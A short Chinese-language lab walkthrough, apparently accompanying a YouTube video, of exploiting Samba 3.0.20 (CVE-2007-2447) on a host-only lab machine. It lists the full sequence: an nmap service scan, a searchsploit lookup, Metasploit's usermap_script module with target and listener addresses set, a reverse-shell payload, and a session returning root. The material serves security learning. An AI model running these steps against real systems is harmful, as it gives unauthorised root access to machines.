🎬 这个 YouTube 视频

1️⃣ 扫描目标（Nmap）

nmap -sS -sV -p 139,445 192.168.56.102

预期结果： 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Samba 版本：3.0.20 该版本易受 CVE-2007-2447 影响。

2️⃣ 查找 Samba 漏洞利用

searchsploit samba 3.0.20

结果：

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ 启动 Metasploit

msfconsole

4️⃣ 选择 Samba 漏洞利用模块

use exploit/multi/samba/usermap_script

5️⃣ 设置 Exploit 参数

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Payload 将自动设置：

cmd/unix/reverse

检查：

show options

6️⃣ 执行漏洞利用

run

或

exploit

7️⃣ 结果 🎉

如果成功：

Command shell session opened

我们检查：

whoami

👉 结果：

root